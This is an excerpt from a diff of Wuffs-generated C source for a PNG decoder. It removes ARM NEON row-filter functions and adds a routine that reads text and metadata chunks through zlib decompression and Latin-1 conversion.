wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint64_t v_num_written = 0; ++ uint64_t v_w_mark = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; + } +- v_curr.len = 0; + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_3_distance_4_arm_neon ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fx = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; ++ if (coro_susp_point) { ++ v_zlib_status = self->private_data.s_do_tell_me_more.v_zlib_status; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ } ++ do { ++ if (self->private_impl.f_metadata_flavor == 3u) { ++ while (true) { ++ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } else if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ self->private_impl.f_metadata_flavor, ++ self->private_impl.f_metadata_fourcc, ++ self->private_impl.f_metadata_x, ++ self->private_impl.f_metadata_y, ++ self->private_impl.f_metadata_z); ++ } ++ if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { ++ goto label__goto_done__break; ++ } ++ self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; ++ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ } ++ if (self->private_impl.f_metadata_is_zlib_compressed) { ++ if (self->private_impl.f_zlib_is_dirty) { ++ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, ++ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ if (self->private_impl.f_ignore_checksum) { ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); ++ } ++ } ++ self->private_impl.f_zlib_is_dirty = true; ++ self->private_impl.f_ztxt_hist_pos = 0u; ++ } ++ label__loop__continue:; ++ while (true) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ self->private_impl.f_metadata_flavor, ++ self->private_impl.f_metadata_fourcc, ++ self->private_impl.f_metadata_x, ++ self->private_impl.f_metadata_y, ++ self->private_impl.f_metadata_z); ++ } ++ if (self->private_impl.f_metadata_flavor != 4u) { ++ break; ++ } ++ if (self->private_impl.f_metadata_is_zlib_compressed) { ++ if (self->private_impl.f_chunk_type == 1346585449u) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } else if (self->private_impl.f_chunk_type == 1951945833u) { ++ { ++ const bool o_1_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_1_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_1; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_1_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_1_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } else if (self->private_impl.f_chunk_type == 1951945850u) { ++ if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { ++ { ++ wuffs_base__io_buffer* o_2_v_w = v_w; ++ uint8_t* o_2_iop_v_w = iop_v_w; ++ uint8_t* o_2_io0_v_w = io0_v_w; ++ uint8_t* o_2_io1_v_w = io1_v_w; ++ uint8_t* o_2_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), ++ self->private_impl.f_ztxt_hist_pos); ++ { ++ const bool o_3_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_3_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); ++ v_zlib_status = t_2; ++ iop_v_w = u_w.data.ptr + u_w.meta.wi; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ v_num_written = wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); ++ io2_a_src = o_3_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_3_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ v_w = o_2_v_w; ++ iop_v_w = o_2_iop_v_w; ++ io0_v_w = o_2_io0_v_w; ++ io1_v_w = o_2_io1_v_w; ++ io2_v_w = o_2_io2_v_w; ++ } ++ if (v_num_written > 1024u) { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ self->private_impl.f_ztxt_ri = 0u; ++ self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); ++ } ++ while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { ++ v_c16 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; ++ if (v_c16 == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); ++ goto exit; ++ } else if (v_c16 <= 127u) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_ztxt_ri += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); ++ } else { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_ztxt_ri += 1u; ++ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_zlib_status)) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { ++ status = v_zlib_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { ++ status = v_zlib_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); ++ goto exit; ++ } ++ } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ goto label__loop__break; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__loop__continue; ++ } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c8), iop_a_dst += 1); ++ } ++ } else { ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ if (self->private_impl.f_metadata_fourcc == 1263947851u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ goto label__loop__break; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__loop__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ if (v_c8 == 0u) { ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ goto label__loop__break; ++ } ++ v_c16 = WUFFS_PNG__LATIN_1[v_c8]; ++ if (v_c16 == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); ++ goto exit; ++ } else if (v_c16 <= 127u) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); ++ } else { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ goto label__loop__continue; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ iop_a_src += 1u; ++ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); ++ } ++ } ++ } + } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ label__loop__break:; ++ if (self->private_impl.f_metadata_fourcc == 1263947851u) { ++ self->private_impl.f_metadata_fourcc = 1263947862u; ++ if (self->private_impl.f_chunk_type == 1951945833u) { ++ if (self->private_impl.f_chunk_length <= 1u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 2u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if (v_c8 == 0u) { ++ self->private_impl.f_metadata_is_zlib_compressed = false; ++ } else if (v_c8 == 1u) { ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if ((v_c8 != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; ++ } ++ self->private_impl.f_metadata_fourcc -= 2u; ++ while (self->private_impl.f_metadata_fourcc != 1263947862u) { ++ self->private_impl.f_metadata_fourcc += 1u; ++ while (true) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if (v_c8 == 0u) { ++ break; ++ } ++ } ++ } ++ } else if (self->private_impl.f_chunk_type == 1951945850u) { ++ if (self->private_impl.f_chunk_length <= 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 1u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); ++ goto exit; ++ } ++ self->private_impl.f_metadata_is_zlib_compressed = true; ++ } ++ self->private_impl.f_call_sequence &= 239u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + } +- v_curr.len = 0; ++ } while (0); ++ label__goto_done__break:; ++ if (self->private_impl.f_chunk_length != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- } else { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ self->private_data.s_do_tell_me_more.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (self->private_data.s_do_tell_me_more.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_tell_me_more.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_4_distance_3_arm_neon +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fc = {0}; +- uint8x8_t v_fx = {0}; +- uint16x8_t v_fafb = {0}; +- uint16x8_t v_fcfc = {0}; +- uint16x8_t v_pa = {0}; +- uint16x8_t v_pb = {0}; +- uint16x8_t v_pc = {0}; +- uint16x8_t v_cmpab = {0}; +- uint16x8_t v_cmpac = {0}; +- uint8x8_t v_picka = {0}; +- uint8x8_t v_pickb = {0}; ++ iop_a_src += self->private_data.s_do_tell_me_more.scratch; ++ self->private_impl.f_metadata_flavor = 0u; ++ self->private_impl.f_metadata_fourcc = 0u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ self->private_impl.f_call_sequence &= 239u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); 